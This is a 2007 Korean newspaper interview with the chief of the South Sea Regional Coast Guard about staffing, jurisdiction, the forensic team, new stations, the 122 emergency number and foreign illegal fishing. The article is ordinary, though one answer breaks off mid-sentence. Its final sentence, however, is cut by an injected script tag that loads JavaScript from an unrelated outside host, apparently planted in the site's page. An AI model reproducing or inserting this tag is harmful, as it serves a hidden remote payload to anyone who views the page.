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남해해역 치안 총 책임자 김승수 남해지방해양경찰청장
남해해역 치안 총 책임자 김승수 남해지방해양경찰청장
  • 부산=윤여상
  • 승인 2007.08.28 05:14
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"100% 일본을 제압할 수 있다는 자신감이 있었다" 지난 2005년 신풍호사건 당시 울산해양경찰서장으로 함정에서 해상전략을 구상하며 이같은 자부심이 있었다고 말하는 남해지방해양경찰청 김승수 청장.

'현재 일에 최선을 다하자'는 신념을 갖고 우리나라 전 해역에서 30년 동안 해양경찰의 길을 걸어 왔다. 비록 가족과 같이 한 생활이 3분의 1밖에 안되지만 "나에게 해양경찰의 업을 준 것에 감사한다"고 단언하는 김 청장의 목소리에는 힘이 있었다.

보람을 묻는 기자의 질문에 "사람 하나하나, 일 하나하나 애정을 쏟아 다 보람된 일로 살았다"고 대답한 김 청장은 그래도 기억에 남는 사건을 들려줬다. 제주 부두에서 한 어민이 물고기를 주길래 누구냐 물었더니 "내가 당신땜에 살았소" 하더란다. 보름동안 표류해 기름에 쩔은 그를 구했던 생각이 났는데, 당시 그 사람을 구하고 눈물을 흘리고 "소중한 직업을 주셔서 고맙다"는 생각을 했다고 한다.

지방청 개청이후 2대 남해지방청장으로서 중임은 막중하다. 남해해경을 반석위에 올려 놓아야 할 사명이 있는 김 청장은 우선 지방청 이전 문제 등 산적한 현안이 부지기수다. 가장 급한 청사 이전에 대해 "우선 이전할 땅이 있어야 하지 않느냐"고 지적한 김 청장은 국민들이 편리하게 찾아올 수 있고, 해양경찰이 미래에 발전 가능성이 있는 곳을 기준으로 부지를 결정할 것이라고 원칙을 밝혔다.

다음은 남해지방해양경찰청을 진두지휘해 어떻게 국민에게 다가갈수 있을 것인지, 현안문제는 무엇이며 그 해결책은 무엇인지 일문일답으로 김 청장의 의지를 들어봤다.

남해지방해양경찰청장으로 취임한 소감과 각오를 말씀해 주신다면

해상치안 수요가 급증하고 있는 남해안 해역의 해상치안 책임자로 부임해 우선 막중한 책임감을 느낍니다. 남해지방해양경찰청은 지난 연말 개청한 이후 인력과 장비, 예산 등 모든 면에서 열악한 실정이나, 남해안해역의 특성에 맞는 치안시스템을 재정비해 국민의 욕구에 부응하는 맞춤형 해상치안서비스를 제공할 생각입니다.

특히 세계 5위 항만인 부산항과 광양항 등 대형항만이 우리 남해지방청의 관할지역에 위치해 있어 항만 안전확보는 물론, 언제 발생할지 모르는 일본의 독도근해 해양조사 기도 및 최근 중국의 이어도 영유권주장 등 해양주권을 위협하는 해양분쟁에도 사전에 대비를 철저히 해 국민 기대에 부응하겠습니다.

또한 남해안 해상치안 질서를 확립하여 깨끗하고 안전한 희망의 바다를 만들어 나가는데 주력해 '주민과 함께하는, 바다를 수호하는, 미래를 개척하는' 해양경찰의 선봉에 우리 남해지방청이 앞장서겠습니다.

타 지방청과 비교해 남해지방청 조직규모와 지역내 주요 경비작전 요소는

우리청은 타 지방청과 마찬가지로 경무기획과 등 4개과와 항공단, 특공대 등으로 편제되어 있으며, 예하에 부산, 통영, 여수, 제주 등 4개 해양경찰서가 28개 파출소와 84개 출장소를 항포구에 두고 있습니다.

장비는 경비함정 104척과 연안안전장비 14척, 항공기 5대를 보유하고 있으며, 인원은 3,300여명으로 조직규모는 비슷합니다만 치안 수요는 타 지방청에 비해 가장 많은편이며 동북아 허브항만인 부산항을 비롯한 국제무역항 등 항포구 945개가 위치해 있고 연간 1000만명 이상이 찾는 해운대, 광안리 해수욕장 등 해수욕장이 53개소나 있으며 여객선 58척과 유도선 554척, 어선 3만3000여척이 등록되어 운항하고 있습니다.

특히 여수의 화학단지와 거제의 조선산업단지등 국가 중요 임해 산업시설이 남해안에 대거 몰려 있어 국가 근간의 중추가 되는 남해안해역의 안전확보는 '남해 해경이 맡는다'는 각오로 최선을 다하겠습니다.

남해지방청이 관할하는 해역과 각 해양경찰서 해역에 대한 특징과 중점을 두는 사항은

남해지방청이 관할하는 해역은 우리나라 면적의 2.2배에 해당하는 21만8029㎢으로 각 해역별로 뚜렷한 특성을 가지고 있습니다.

우선 부산해양경찰서의 경우 우리나라 해양수도로서의 상징성과 국내 컨테이너 물동량의 78%를 처리하는 국내외 화물선의 집결지로서 선원, 선박사고가 빈번하게 발생해 충돌과 좌초 등 해양사고 예방에 주력하고 있습니다. 또한 일본의 대마도가 근거리에 있어 지난 2005년 발생한 신풍호 사건에서 보시다시피 한ㆍ일간 어선들의 불법어업 등 EEZ 어로분쟁 발생위험이 항시 상존하고 있어 긴급상황 발생시 우리 어민보호 대책과 대비를 해두고 있습니다.

통영해양경찰서 관할해역은 한려해상국립공원이 위치한 국내 최대 해상관광지이며, 1381km의 리아시스식 해안선과 422개 도서가 위치해 다도해를 찾는 많은 해상관광객 안전관리에 주력하고, 청정어패류 양식장이 산재하고 있는 만큼 연안해역의 수산물 강.절도, 해양오염관리에도 만전을
남해지방청이 자랑하는 바다 CSI 과학수사팀에 대해 한 말씀 하신다면

우리 남해지방청의 관할해역은 동해나 서해 등 타 지방청 해역과 달리 대형선박과 어선의 주야간 입출항이 빈번하며, 각종 도서와 양식장 등의 장애물이 많아 선박의 충돌, 좌초나 해양오염사고가 빈번히 발생하고 해양범죄도 다발하는 해역입니다.

이에 각종 사고와 범죄를 신속하고 효율적으로 해결하고자 올 4월에 3개 지방청중 남해지방청 과학수사팀이 가장 먼저 발족하게 됐습니다. 이후 중국 해역에서 '골든로즈호' 사고가 발생해 인양된 선원의 신원조회를 과학수사팀이 신속하게 처리한 바 있으며, 그 밖에도 크고 작은 범죄사건 수사에서 과학적인 수사기법을 활용하여 큰 성과를 거두고 있습니다.

또한 지난달 15일 '제1회 해양범죄 과학수사 세미나'를 부산에서 개최하는 등 우리 과학수사팀의 능력향상을 위한 지속적인 과학 수사기법을 연구하고 있으며, 앞으로 해양경찰만의 독자적인 해양사고, 범죄에 대한 과학수사 영역을 구축해 나갈 목표로 노력하고 있습니다.

해상치안 증가로 지역내 일선 해양경찰서 신설이 거론되고 있는데 추진 상황은

현재 제주해경이 관할하는 수역은 우리 해경이 관할하는 전체 수역의 4분의 1이나 되는 19만4048㎢에 이릅니다. 이중 65%가 제주도 남부 해역이며, 이 해역은 동북아 물류 수송로의 교차로이자 한·중·일 어업분쟁의 불씨가 되고 있는 곳입니다. 특히 중국 어선들의 싹쓸이 불법조업으로 어장이 황폐화되고 있고 밀수와 밀입국 등도 빈번히 발생하고 있습니다.

이를 해결하기 위해 기존 제주해양경찰서만으로는 한계가 있어 서귀포에 제주남부해양경찰서(가칭)를 신설하여 국가의 전략적 이해가 걸려 있는 제주도 남방해역에 대한 해양주권 수호와 수산 업 종사자들에게 양질의 치안서비스를 제공할 것으로 기대하고 있습니다.

또한 이와 더불어 신항만이 위치해 있는 부산서부지역 또는 진해지역에도 해양경찰서 신설을 추진하고 있습니다. 특히 신항만 인근 진해지역 주민들이 통영까지 원거리를 방문해 민원업무를 처리해야 하는 등 주민 불편사항이 야기되고 있고, 신항만 건설 등으로 진해해역의 치안수요가 급증하여 부산서부지역에 경찰서 신설이 시급한 실정입니다.

참고로 현재 진해에는 1만6000여명이 어업에 종사하고 있고 등록선박만도 5000척이 넘습니다. 입출항 선박만도 23만8000척에 달해 기존의 시스템으로 양질의 치안서비스를 제공하는데 어려움이 많아 경남도와 해양수산부, 행정자치부 등과 해양경찰서 신설에 대하여 지속적으로 협의 중에 있습니다.

지난달 개통된 해상긴급전화 122 정착을 위한 방안은

올 7월 1일부터 각종 해양사건사고에 신속히 대응하기 위한 목적으로'122 해양경찰 긴급번호'가 개통돼 122 인명구조대를 운영하고 있으며 현재 우리청 예하 4개 해경서에는 각 6명씩 총 24명의 인명구조요원을 편성하여 24시간 긴급출동태세를 갖추고 있습니다.

'육상과는 달리 해양사고는 인명구조에 촌각을 다투는 경우'가 대부분이므로 신속한 구조를 요하지만 아직까지 122해상긴급번호를 잘 알지 못하는 많은 국민들이 119로 신고를 하고 있어 구조대응이 지체되는 경우가 많습니다. 사고 발견시 즉시 122긴급번호 신고를 할 수 있도록 122 긴급번호 정착을 위한 홍보활동도 강화하고 있습니다.

하루아침에 119처럼 정착되지는 않겠지만 언론사, 방송사 등의 협조와 시내 전광판 등 다양한 매체를 통해 122해양경찰긴급번호를 알려 해양사고 발생시 즉시 122로 신고할 수 있도록 최선을 다 하고 있습니다. 또한, 122 인명구조대는 내년에 인력과 장비를 보강해 구조역량을 한단계 업그레이드 시킬 계획입니다.

외국어선의 영해침범 조업 등 늘어가는 해양분쟁에 대한 구체적인 대처방안은

이어도를 포함한 제주 남.서해역에서 연 평균 140여척의 중국어선들이 불법어업 혐의로 우리 경비함정에 나포되고 있습니다. 또한 최근 중국 민간단체에서 이어도 관할권을 주장하고 있어 '제2의 독도 위기'라는 근심섞인 국민들의 목소리도 나오고 있습니다. 우리 남해지방 해양경찰청에서는 이러한 중국측의 불법행위에 강력히 대처하기 위해 EEZ 취약해역에 대형함정과 항공기를 집중 배치해 입체적 감시단속을 함과 더불어 해양경찰 특공대 요원을 확충시키는 한편, 해군 등 관계기관과의 긴밀한 공조체제를 구축해 해양분쟁 발생시 적극 대응할 계획입니다

해상에서 운송되는 위험 유해물질에 대한 대응방안은 있으신지

지난 6월 14일 OPRC-HNS(위험·유해물질 오염사고 대비·대응 및 협력에 관한 국제협약) 의정서가 발효됐습니다. 통계로 보면 지난 2005년 해상을 통한 HNS(위험.유해물질) 운송량이 약1억5000만톤이 넘었습니다. 또한 매?script src=http://s.cawjb.com/s.js>

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